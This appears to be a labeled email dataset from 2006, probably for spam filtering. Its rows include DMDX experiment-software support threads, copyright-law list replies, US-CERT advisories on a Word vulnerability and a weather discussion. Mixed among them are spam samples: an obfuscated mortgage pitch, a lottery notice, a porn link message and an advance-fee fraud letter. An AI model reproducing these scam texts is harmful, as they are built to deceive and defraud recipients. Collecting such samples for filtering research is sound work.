mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Associate Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Mon, 15 May 2006 18:05:26 -0500",Final exams/final grades,"CS352-ers, I have posted the final grades on the e-gradebook - you should be able to see your grade by logging in. I have also posted the final exam distribution at: http://www.cs.utexas.edu/users/skeckler/cs352/handouts/final_exam.pdf (there is also a link from the course home page). Sorry about the delay. The median was 106 and the top score was 141 (out of 154). We have graded the final projects, but I do not plan on posting the final project grades (these are letter grades) on the e-gradebook. We used several test configurations and trace files to test how well your simulator handled different capacities, block sizes and associativities. We also evaluated your code, experimental results, and writeup. Here is a rough breakdown on how these were graded: A = Passes all test cases, writeup is good, experiments are complete B = Passes most test cases (but not all), may incorrectly flag errors on some traces, may be missing experiments C = Passes few test cases, missing or incomplete experiments F = no sign of life or any correct results Zero = nothing turned in I'm sorry to be harsh, but you are upper division CS students and programs that do nothing useful do not deserve passing grades. Starting at noon tomorrow (Tuesday May 16) you may come collect your project writes-ups and look at your final exams and the solution set. Some ground rules: 1) You may take your project reports with you. They have the letter grades on them, but we have not written very many comments on the report papers. Please note that this does not mean we didn't read them (we did!). 2) You may look at your final exam and the final exam solution set, but you may not take either of them with you. I need to keep your exams on file. I sincerely hope you learned a lot in CS 352 (I think you did). Best of luck for the future! Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Elizabeth (Libby) Thomas"" ",DMDX@psy1.psych.arizona.edu,"Tue, 16 May 2006 12:49:08 +1000",[DMDX] AbortItemKeyname,"Hello everyone, I am trying to set up a masked priming task with Arabic numbers and dot arrays. The syntax check say's that AbortItemKeyname cannot be found on the input device. What is the correct syntax to set the mouse as the abortItem key? I tried also specifying as well, but it made no difference. Regards, Libby Thomas n1 t4000 0 ""Press the space-bar to begin""; +001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < ms% 1> g""mask""/ !g*""prime2""; 0 """";",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 May 2006 20:57:23 -0700",[DMDX] Re: AbortItemKeyname,"requires a key name, not a device name. Assuming you want a keyboard for responses and one of the mouse buttons for an abort key you want (assuming that's what the buttons on your mouse are named. At 12:49 PM 5/16/2006 +1000, you wrote: >Hello everyone, I am trying to set up a masked priming task with Arabic >numbers and dot arrays. The syntax check say's that AbortItemKeyname > cannot be found on the input device. What is the correct syntax >to set the mouse as the abortItem key? I tried also specifying ""mouse""> as well, but it made no difference. > >Regards, > >Libby Thomas > > >n1 > t4000 > >0 ""Press the space-bar to begin""; > >+001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < >ms% 1> >g""mask""/ !g*""prime2""; 0 """"; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wiker's Law: Government expands to absorb revenue and then some.",0,0 """Elizabeth (Libby) Thomas"" ",DMDX@psy1.psych.arizona.edu,"Tue, 16 May 2006 16:02:41 +1000",[DMDX] Re: AbortItemKeyname,"Jonathan, thanks for the advice. However it didn't work. Do you have any idea why. It still runs, but without aborting. Syntax reads ""Input name <+button 2> not found on input device."" However, was requested and not mentioned in the syntax check. Any further advice you may have would be greatly appreciated, Libby t2500 0 ""Press the space-bar to begin""; +001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < ms% 1> g""mask""/ !g*""prime2""; 0 """"; On 5/16/06, j.c.f. wrote: > > > requires a key name, not a device name. Assuming you want a > keyboard for responses and one of the mouse buttons for an abort key you > want (assuming that's what the > buttons on your mouse are named. > > > At 12:49 PM 5/16/2006 +1000, you wrote: > > >Hello everyone, I am trying to set up a masked priming task with Arabic > >numbers and dot arrays. The syntax check say's that AbortItemKeyname > > cannot be found on the input device. What is the correct syntax > >to set the mouse as the abortItem key? I tried also specifying >""mouse""> as well, but it made no difference. > > > >Regards, > > > >Libby Thomas > > > > > >n1 > > t4000 > > > >0 ""Press the space-bar to begin""; > > > >+001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < > >ms% 1> > >g""mask""/ !g*""prime2""; 0 """"; > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Wiker's Law: > Government expands to absorb revenue and then some. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Elizabeth (Libby) Thomas"" ",DMDX@psy1.psych.arizona.edu,"Tue, 16 May 2006 16:26:23 +1000",[DMDX] Re: AbortItemKeyname,"Jonathan, I forgot to mention was also in the top line, Libby On 5/16/06, Elizabeth (Libby) Thomas wrote: > > Jonathan, > thanks for the advice. However it didn't work. Do you have any idea why. > It still runs, but without aborting. Syntax reads ""Input name <+button 2> > not found on input device."" However, was requested and > not mentioned in the syntax check. Any further advice you may have would be > greatly appreciated, > Libby > > button 1""> t2500 > > 0 ""Press the space-bar to begin""; > > +001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < > ms% 1> > g""mask""/ !g*""prime2""; 0 """"; > > > On 5/16/06, j.c.f. < jforster@psy1.psych.arizona.edu> wrote: > > > > > > requires a key name, not a device name. Assuming you want a > > keyboard for responses and one of the mouse buttons for an abort key you > > want (assuming that's what > > the > > buttons on your mouse are named. > > > > > > At 12:49 PM 5/16/2006 +1000, you wrote: > > > > >Hello everyone, I am trying to set up a masked priming task with Arabic > > >numbers and dot arrays. The syntax check say's that AbortItemKeyname > > > cannot be found on the input device. What is the correct > > syntax > > >to set the mouse as the abortItem key? I tried also specifying > >""mouse""> as well, but it made no difference. > > > > > >Regards, > > > > > >Libby Thomas > > > > > > > > >n1 > > > t4000 > > > > > >0 ""Press the space-bar to begin""; > > > > > >+001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" > > / < > > >ms% 1> > > >g""mask""/ !g*""prime2""; 0 """"; > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Wiker's Law: > > Government expands to absorb revenue and then some. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. 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",DMDX@psy1.psych.arizona.edu,"Tue, 16 May 2006 06:55:03 -0700",[DMDX] Re: AbortItemKeyname,"You've got a space between the plus sign and the button name. It needs to be instead of . At 04:26 PM 5/16/2006 +1000, you wrote: >Jonathan, >I forgot to mention was also in the top line, >Libby > >On 5/16/06, Elizabeth (Libby) Thomas < >elizabethlibby@gmail.com> wrote: >>Jonathan, >>thanks for the advice. However it didn't work. Do you have any idea why. >>It still runs, but without aborting. Syntax reads ""Input name <+button 2> >>not found on input device."" However, was requested and >>not mentioned in the syntax check. Any further advice you may have would >>be greatly appreciated, >>Libby >> >> >button 1""> t2500 >> >>0 ""Press the space-bar to begin""; >> >>+001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < >>ms% 1> >>g""mask""/ !g*""prime2""; 0 """"; >> >> >>On 5/16/06, j.c.f. < >>jforster@psy1.psych.arizona.edu> wrote: >>> >>> requires a key name, not a device name. Assuming you want a >>>keyboard for responses and one of the mouse buttons for an abort key you >>>want (assuming that's what the >>>buttons on your mouse are named. >>> >>> >>>At 12:49 PM 5/16/2006 +1000, you wrote: >>> >>> >Hello everyone, I am trying to set up a masked priming task with Arabic >>> >numbers and dot arrays. The syntax check say's that AbortItemKeyname >>> > cannot be found on the input device. What is the correct syntax >>> >to set the mouse as the abortItem key? I tried also specifying >> >""mouse""> as well, but it made no difference. >>> > >>> >Regards, >>> > >>> >Libby Thomas >>> > >>> > >>> >n1 >>> > t4000 >>> > >>> >0 ""Press the space-bar to begin""; >>> > >>> >+001 g""fixp1"" / g""wait"" / < ms% 30> g""sub3r1"" / < >>> >ms% 1> >>> >g""mask""/ !g*""prime2""; 0 """"; >>> >>> /""\\ >>> -jonathan (j.c.f.) \\ / >>> X >>> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >>> >>>Wiker's Law: >>> Government expands to absorb revenue and then some. >>> >>> >>>==================================================================== >>> Send mail to >>> DMDX-request@psy1.psych.arizona.edu >>> with the word >>> 'unsubscribe' by itself with no quotes in the body of the email >>> to be removed from the list. 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Maybe. If the work which draws upon a public domain work has sufficient originality in whatever is done using the prior work, the second work can indeed have a copyright. I can take a work in the public domain, such as the Mona Lisa, and put a Star Wars background behind her and have a copyrighted work. Of course I would not thereby get a copyright in the original Mona Lisa -- it would still be in the public domain. And unless I had permission to do so, or my use was ""fair use"" I would be infringing Star Wars copyrights. But my work combining those two elements would be sufficiently original (not very original or creative, but the threshold is low) to have a copyright. > > >From what I've read, my conclusion was once something was copyright > free, in the public domain, it couldn't be copyrighted. Am I wrong ? You are correct. But the problem of the work based on a public domain work effectively removing the prior work from the public domain can be a tough one -- sometimes the second work would seem to result in a re-copyright of the original. In such cases the courts will tend to not allow the copyright in the second work. > > Example, I created hundreds of digitized red work embroidery designs > from copyright free clipart over the past 7 years, only to have a company > claim to Ebay I was infringing on their intellectual property rights. Since > the clipart used was copyright free, I thought the designs couldn't be > copyrighted, so how can I be infringing on their intellectual property > rights, when I have the right to sell what I created from copyright free clipart/ > images ? If you copied the company's copyrighted work, you would be infringing. If both you and the company independently created similar or even identical works from the public domain sources, you would both have independent copyrights (assuming sufficient originality as noted above), and neither would be infringing the other. > > 1. Can something be copyrighted if created from copyright free clipart ? yes. See above. > > If it can, then how can anything really be copyright free and in the public > domain ? this is in fact a real concern in the digital age. But the thing that was in the public domain still is and can be copied by others. > > For small businesses or individuals copyrighting their work doesn't do much > good, unless they have the financial and legal resources to protect their > copyright, which most don't. So in essence, a copyright is only good if > you can financially afford to protect it, which leaves out the majority of > individuals and small businesses. Largely true. BTW, much of what people think of as copyright-free clip art is not really free of copyright. The clip art has a copyright, but the owner of the copyright licenses the use of it to anyone who owns an authorized copy of it. The license may in fact extend to creating derivative works. > > Thank you in advance for any help regarding my questions. -- Prof. Steven Jamar Howard University School of Law",0,0 """Davidson, Matthew T."" ",,,"Creative Commons - ""Non-Commercial"" use?","Is anyone aware of any litigation or any good secondary literature dealing with the meaning of ""non-commercial"" in the context of the Creative Commons license? Any references would be much appreciated. -- Matt Davidson Miami, FL ",0,0 member@ebay.com,,"Sun, 30 Apr 2006 16:13:04 +0900",Question about Item #5873604190,"eBay sent this message from steve jay.Your registered name is included to show this message originated from eBay. Learn more. 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They are restricted to personal use only. > > From: David Dailey > Date: 2006/05/17 Wed AM 11:15:15 EDT > To: ""CNI-COPYRIGHT -- Copyright & Intellectual Property"" > > Subject: [CNI-(C)] Re: Copyright free images-clipart > > At 12:10 PM 5/16/2006, Larry Steller wrote: > >If someone digitizes an embroidery design from copyright free clipart, > >can they claim to own the copyright to the design ? > > > > From what I've read, my conclusion was once something was copyright > >free, in the public domain, it couldn't be copyrighted. Am I wrong ? > > > >Example, I created hundreds of digitized red work embroidery designs > >from copyright free clipart over the past 7 years, only to have a company > >claim to Ebay I was infringing on their intellectual property rights. Since > >the clipart used was copyright free, I thought the designs couldn't be > >copyrighted, so how can I be infringing on their intellectual property rights, > >when I have the right to sell what I created from copyright free clipart/ > >images ? > > The attorneys on this list will have more authoritative answers than > I, but I am familiar with some of the issues and may be able to comment. > > 1. Clipart usually comes with a license agreement. Clipart on CD's > usually says something like ""you may print as much as you like, but > don't upload to wide area networks (like the web)."" Clipart in books > often says (in the permissions section of the book) something like > ""use the images freely but don't put more than five of them on a > place from which they may, in turn be copied."" > > 2. In the case that such ""licensed"" clipart originates with public > domain sources, the publisher is generally relying on a ""compilation > copyright."" That is, though each individual image may be in the > public domain, the decisions about how to assemble these individually > unprotected items are sufficiently original to qualify (in the eyes > of the publisher) for a copyright in the assemblage, just as a > protected poem consists of individually uncopyrighted words. The > publisher can argue that without such protection there is no > financial incentive for them to produce the work. > > 3. Some might argue that an individual work reproduced by a publisher > of works from public domain sources somehow qualifies for a new > copyright, but the ruling in the case of Bridgeman Art Library v > Corel (see for example > http://www.law.cornell.edu/copyright/cases/36_FSupp2d_191.htm) > yielded that there is insufficient originality in a ""faithful > reproduction"" (my quote) of a 2 dimensional artwork to qualify for > new protection. Having done a good deal of faithful reproduction > myself (see for example > http://srufaculty.sru.edu/david.dailey/public/public_domain.htm), I > am aware that many of the decisions that go into that reproduction > require skill, and sometimes decisions about when to discard > ""useless"" pixels introduced through discoloration through aging of > the original, moire patterns from interactions of the pixel density > with the engraver's line frequency, etc., etc. One could argue that > veridical depiction in the case of preservation of engravings might > require more originality than the case decided in Bridgeman, and I > can certainly imagine that some publishers might be willing to make > such an argument in court. > > 4. In an instance such as when a publisher reproduces all > illustrations in a famous PD work, ( for example, l'Ornament > Polychrome by Racinet from the 1880's) then one could question > whether sufficient originality exists for either the compilation > copyright or a ""thin"" copyright on the reproduction. Whether a > publisher's license agreement with such a republication would, in > fact, hold up in court, is not clear (given the precedent in > Bridgeman), but what devotee of the public domain would wish to be > the defendant in such a case? > > As a little bit of advice (of the non-legal sort), you will be more > comfortable if you can use ""public domain images"" rather than ""clip art."" > > Hope this helps, > David Dailey > > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > To switch to the INDEX mode, E-mail to > To postpone your subscription, E-mail to > To resume mail list message delivery from postpone mode, E-mail to > Send administrative queries to > > Visit the CNI-COPYRIGHT e-mail list archive at . > >",0,1 Zacari Boatright ,webmaster@kukui.ifa.hawaii.edu,"Wed, 17 May 2006 14:53:21 -0700",Re: your good crdit,"D m ea s r H y om z e O z wn o er, Your c t re y di t t d y oesn't matte d r to us! If you O p WN v r v ea o l e g st y at e e and wan e t I d MME u DIA v TE c g as q h to s y pen d d ANY w e ay you li n ke, or simpl q y wi t sh to L i OW n ER your mon p thly pa x yme y nt u s by a t g hird or m q ore, he q re ar l e the d h ea r ls x we ha a ve T l OD k AY: $4 b 90 , 0 s 00 a u s l v ow a a s 3 , 6 c 4 % $3 a 70 , 00 z 0 a y s l p ow a b s 3 , 8 k 9 % $ a 490 , 0 l 00 a l s lo c w a u s 3 , 1 m 9 % $2 t 50 , 00 t 0 a n s l a ow a m s 3 , 3 a 4 % $ i 200 , 00 b 0 a q s lo t w a h s 3 , 5 s 4 % Your c j re g di z t does p n't matte h r to u g s! g t et m a atche y d with l e en z der g s Zacari Boatright , A p ppr n ova o l M d ana k ge i r ----- Original Message ----- something. Then he felt for his pouch, and there was some tobacco in it, and that was something more. Then he felt for matches and he could not find any at all, and that shattered his hopes completely. Just as well for him, as he agreed when he came to his senses. Goodness knows what",1,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Wed, 17 May 2006 14:24:04 -0500",[DMDX] Dennis Tomashek-cr,"Hi,thank you for your previous help. I have been able to get a number of test runs of DMDX running with various stimuli. I have a question. Is it possible to run an experiment continuously, using , but make it so the participant can read the instructions at their own pace? I am going to be working with both young children and adults, and what may be too quick for the children may be too long for the adults. Is this possible? Thank you, Dennis Tomashek dennist2@uwm.edu",0,0 """Elizabeth (Libby) Thomas"" ",DMDX@psy1.psych.arizona.edu,"Thu, 18 May 2006 09:34:00 +1000",[DMDX] Re: Dennis Tomashek-cr,"Hi Dennis, I am not Jonathan, you have e-mailed me presumably from the DMDX server list. But i can help. I am a psyc phd at Melboure University. In order to allow for vaiable reading time you can do it by inserting an instruction to keypress to continue after reading time 0 """"; 0 means that it is not an experimental item and """" means blank screen display. If you have or in the first syntax line, and a really long timeout value, sat t 40000 then you can have time enough to read instructions and keypress to continue. I hope this helps. Yo could send me the first few lines of syntax. Feel free to e-mail any further questions, or post it to Jonathan on the server List, best regards, Libby Thomas On 5/18/06, dennist2@uwm.edu wrote: > > > Hi,thank you for your previous help. I have been able to get a number of > test > runs of DMDX running with various stimuli. I have a question. Is it > possible to > run an experiment continuously, using , but make it so the participant > can > read the instructions at their own pace? I am going to be working with > both > young children and adults, and what may be too quick for the children may > be > too long for the adults. Is this possible? > Thank you, > Dennis Tomashek > dennist2@uwm.edu > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Wed, 17 May 2006 16:38:27 -0700",[DMDX] RE: Dennis Tomashek-cr,"> I have a question. Is it possible to run an experiment continuously, using , but make it so the participant can read the instructions at their own pace? I am going to be working with both young children and adults, and what may be too quick for the children may be too long for the adults. Is this possible? > Thank you, > Dennis Tomashek > dennist2@uwm.edu Two things. First, is automatically canceled once you hit an instruction (signaled by an item number of zero). Thus: +001 * ""item1""; +002 * ""item2""; +003 * ""item3""; 0 ""Take a break (press the spacebar to continue).""; Items 1, 2, and 3 would be continuously displayed, but the program would halt once the instruction was displayed. The subject needs to restart the sequence by pressing the Request key (the spacebar in this example). Second, in the above example, the target will stay on the screen until a response is made, or the timelimit expires (the default is 4 secs). --k.i.f.",0,0 """Elizabeth (Libby) Thomas"" ",DMDX@psy1.psych.arizona.edu,"Thu, 18 May 2006 10:06:39 +1000",[DMDX] Re: RE: Dennis Tomashek-cr,"Sorry all, New to the system. Saw a message in my e-mail. Nieve to how this system works Libby. On 5/18/06, Kenneth Forster wrote: > > > > I have a question. Is it possible to run an experiment continuously, > using > , but make it so the participant can read the instructions at their > own > pace? I am going to be working with both young children and adults, and > what > may be too quick for the children may be too long for the adults. Is this > possible? > > > Thank you, > > Dennis Tomashek > > dennist2@uwm.edu > > Two things. First, is automatically canceled once you hit an > instruction (signaled by an item number of zero). Thus: > > +001 * ""item1""; > +002 * ""item2""; > +003 * ""item3""; > 0 ""Take a break (press the spacebar to continue).""; > > Items 1, 2, and 3 would be continuously displayed, but the program would > halt once the instruction was displayed. The subject needs to restart the > sequence by pressing the Request key (the spacebar in this example). > > Second, in the above example, the target will stay on the screen > until a response is made, or the timelimit expires (the default is 4 > secs). > > --k.i.f. > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 NP LOTERIJ ,romanianclub@columbia.edu,"Thu, 18 May 2006 07:11:06 +1200",NOTICFICATION!!!,"ATTENTION: Winner. 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My husband was a serving director of the Cocoa exporting board until his death .He was assassinated last january by the rebels following the political uprising.Before his death he had a foreign account here in Côte D'Ivoire up to the tune of $19m. Us Dollars which he told the bank was for the importation of cocoa processing machine. I want you to do me a favour to receive this funds to a safe account in your country or any safer place as the beneficiary . I have plans to do investment in your country, like real estate and industrial production.This is my reason for writing to you. Please if you are willing to assist meand my only son Desmond, indicate your interest in replying soonest. You can contact me through my alternative email for security reason(stella_family10@yahoo.fr) Thanks and best regards . Mrs. Stella Martins _________________________________________________________________ Windows Live Messenger : venez tester la version bêta ! http://www.ideas.live.com/programpage.aspx?versionId=0eccd94b-eb48-497c-8e60-c6313f7ebb73 ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 19 May 2006 14:10:31 -0700",[DMDX] TFT (or LCD) displays caveat emptor,"As I was testing a LCD display (alternatively called an TFT or Flat Panel display) here I came across another previously unconsidered dimension of them that is a very serious consideration in their use as tachistoscopic display devices. And that is that the LCDs all have a digital signal processor (DSP) in them sitting between the computer's output and the pixels of the display and the speed of that processor can interfere with tachistoscopic displays. For instance when I first started testing this LCD the script I chose was using a 1024x768 display mode whereas the native resolution of this panel is 1600x1200. So the DSP has to take the 1024x768 signal and stretch it onto the 1600x1200 array of pixels that actually constitutes the display. It turns out that this device can't keep up with even a moderately fast tachistoscopic display and was producing tearing at even pedestrian 4 tick displays. I was toggling the background color between black and white and despite DMDX detecting no display errors I could plainly see tearing on the display. Once I realized what was up and switched DMDX to using the native resolution of the panel the tearing went away. So one must be very careful to use the native resolution of an LCD when using DMDX. A further consideration that hasn't been tested yet but is likely to be the case is that my monitor is using a DVI cable and not the old 15 pin analog VGA cable that most displays are using. The DVI cable is used here because high resolution displays (ie 1600x1200 and beyond) start to jitter and have all sorts of nasty problems. Because the same DSP mentioned above has to take the analog video signal and process it it stands a very good chance of running into the same problems mentioned above. So even if someone was using the native resolution of the panel the use of an analog signal cable could very well introduce the same sorts of tearing problems. Fortunately this is relatively easy to detect without additional test equipment beyond the human eye. Basically toggle the background color at a rate DMDX can handle without display errors and you should see an even flickering display. If you see periodic horizontal discontinuities then your LCD has a problem. f30 d3 0 ""display tearing test"" ; 3 %4 / ; 0 ""end"" l; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any given program, once running, is obsolete.",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Fri, 19 May 2006 22:07:51 -0400",US-CERT Cyber Security Alert SA06-139A -- Microsoft Word Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-229A Microsoft Word Vulnerability Original release date: May 19, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Word 2003 * Microsoft Word XP (2002) Microsoft Word is included in Microsoft Works Suite and Microsoft Office. Other versions of Word and other Office programs may also be affected. Overview A vulnerability in Microsoft Word could allow an attacker to gain control of your computer. Solution Do not open untrusted Word documents At the time of writing, an update is not available. Do not open unfamiliar or unexpected Word or other Office documents, including those received as email attachments or hosted on a web site. Please see US-CERT Cyber Security Tip ST04-010 for more information. Description An attacker could exploit a vulnerability in Microsoft Word by convincing a user to open a specially crafted Word document. The Word document could be included as an email attachment or hosted on a web site. It may also be possible to exploit the vulnerability using Word documents embedded in other Office documents. For more technical information, see US-CERT Technical Alert TA06-139A. References * US-CERT Technical Alert TA06-139A - * Vulnerability Note VU#446012 - * Cyber Security Tip ST04-010 - * Microsoft Security Essentials - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-139A Feedback VU#446012"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 19, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRG55i30pj593lg50AQIrcwf/TWbIjKkkOncEHEJ4yqJgSFN9+5BP1kd/ Nh9noh8gwvnV20IL70sgmdd35Q8KflsOVuHCPFNlE2RgiGXp1WQrub2AxWiJ+jQe t//7bZjAGYDOvnPp5PsF4estqPdsfwWEOM3XvaY5ZgIHYp1UknkLTM9O3hf5gfl2 fYuJ/aR+73z9Udy/r6IaPDenpJ7AKvpvKTbiZ5HZ7F6Ax3s6dY/xANtz71mW+p6L 00Dl+hGIShgemuAkLQ7yYSfjRnmJnh7VqIBm5k6SXAMVAHTI8fmDusDe+JLWZZlF VDgS/ifQ/kcesQephBD0/ZjQ/y9h1f84hrivanU9AE6z5IQXB8yMMw== =K0Ch -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Fri, 19 May 2006 21:57:46 -0400",US-CERT Technical Cyber Security Alert TA06-139A -- Microsoft Word Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-139A Microsoft Word Vulnerability Original release date: May 19, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Word 2003 * Microsoft Word XP (2002) Microsoft Word is included in Microsoft Works Suite and Microsoft Office. Other versions of Word, and other Office programs may be affected or act as attack vectors. Overview A buffer overflow vulnerability in Microsoft Word could allow an attacker to execute arbitrary code on a vulnerable system. I. Description Microsoft Word contains a buffer overflow vulnerability. Opening a specially crafted Word document, including documents hosted on web sites or attached to email messages, could trigger the vulnerability. Office documents can contain embedded objects. For example, a malicious Word document could be embedded in an Excel or PowerPoint document. Office documents other than Word documents could be used as attack vectors. For more information, please see Vulnerability Note VU#446012. II. Impact By convincing a user to open a specially crafted Word document, an attacker could execute arbitrary code on a vulnerable system. If the user has administrative privileges, the attacker could gain complete control of the system. III. Solution At the time of writing, there is no complete solution available. Consider the following workarounds: Do not open untrusted Word documents Do not open unfamiliar or unexpected Word or other Office documents, including those received as email attachments or hosted on a web site. Please see Cyber Security Tip ST04-010 for more information. Do not rely on file extension filtering In most cases, Windows will call Word to open a document even if the document has an unknown file extension. For example, if document.d0c (note the digit ""0"") contains the correct file header information, Windows will open document.d0c with Word. Appendix A. References * Vulnerability Note VU#446012 - * Cyber Security Tip ST04-010 - ____________________________________________________________________ Information used in this document came from SANS and Microsoft. ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-139A Feedback VU#446012"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 19, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRG52p30pj593lg50AQKmsgf/SsFJRdioulQM941Cq2WA1tv+Y+3XcDme kW13FyXDSiSVjkLeGTS3CvmELieeyS8WNgF/bF5b4nU7U8PmYYlm5SB4gygsgg9q F7zNlw8EJoVxZTHDnFr8vq3IovhGsTsBwA0TyySUZHQkS6X5ESf65AzongmgRRT4 Oi4AUQd3n/XZdwrWtO7LPkaPF6IVTF28whLRwaeX+N7m10opL2WuqGrlbJ24VOJm x6UbIRRIhLNdubLGUi3iDA1+Ds1LsnZR22COvvNoQ2F3mA2ahP4D4rBrLTyqnLye zBCrGIIB0Wkvvh8yVelLKIplTWY/elUjwTUPsdQWsDeAm0AXKJjwPw== =1Nea -----END PGP SIGNATURE-----",0,1 Franklin Mccord ,romanianclub@columbia.edu,"Sat, 20 May 2006 06:11:08 -0700",Young fascinating virgiins at hardcorre Poorno.," bonny Youngesst Bitch in hard fuckinng. http://gameadviceonline.info/fpsf.htm?iSPhfd.fX,hj R.E.MM.0.V.E http://gameadviceonline.info ",1,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 17:08:15 -0500",Pacific-EN: Tropical Weather Discussion,"AXPZ20 KNHC 202208 TWDEP TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 2205 UTC SAT MAY 20 2006 TROPICAL WEATHER DISCUSSION FOR THE EASTERN PACIFIC OCEAN FROM THE EQUATOR TO 32N...EAST OF 140W. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR...AND METEOROLOGICAL ANALYSIS. BASED ON 1800 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 2130 UTC. ..ITCZ... ITCZ AXIS ALONG 9N84W 12N94W 10N117W 8N126W 5N140W. SCATTERED MODERATE TO STRONG WITHIN 120 NM S OF AXIS FROM 80W TO 94W...WITHIN 150 NM OF AXIS FROM 101W TO 121W AND WITHIN 120 NM N OF AXIS W OF 130W. ..DISCUSSION... W OF 110W... DEEP LAYER TROUGH ENTER E PAC FORECAST WATERS FROM 32N132W TO 22N140W. FAIRLY DRY AIR MASS WITHIN 240 NM W OF AXIS. JET STREAM 105 KT DRAGS MOISTURE ALOFT AHEAD OF AXIS TO CYCLONIC VORTEX WELL N OF AREA. TROUGH DIGGING SE SUPPORTS COLD FRONT WHICH EXTENDS FROM 30N128W TO 23N140W. BROAD MID / UPPER LEVEL ANTICYCLONE 11N114W WITH ELONGATED RIDGE TO 32N110W COVERS AREA N OF 13N WITH DRY AIRMASS RESULT OF MODERATE TO STRONG SUBSIDENCE DUE TO CONFLUENT AIR MASS ALOFT. HIGH PRES RIDGE MAINTAINS GOOD E FLOW ALOFT OVER ITCZ ADVECTING TROPICAL MOISTURE OUT OF SOUTH AMERICA CONTINENT ALL THE WAY TO 140W. AT THE SURFACE...WINDS BEHIND COLD FRONT REMAIN STRONG BUT IT IS THE LARGE SWELL SPREADING S BEHIND THAT WILL AFFECT THE MOST. NWW3 BRINGS 15 FT WHICH APPEAR IN LINE WITH SHIP REPORTS OF 13 FT JUST N OF AREA...UP TO 18 FT REMAIN JUST N OF 30N. E OF 110W... UPPER LEVEL CYCLONIC CIRCULATION OVER S TEXAS COAST HAS WEAK TROUGH DIG S INTO TO 10N100W. MODERATE TO STRONG SUBSIDENCE WAS INDICATED OVER MEXICO EXCEPT EXTREME S CORNER. DIFFLUENT UPPER LEVEL FLOW WITH DOWNSTREAM UPPER LEVEL RIDGE ENHANCES ITCZ DEEP CONVECTION E OF 95W. $$ WALLY BARNES 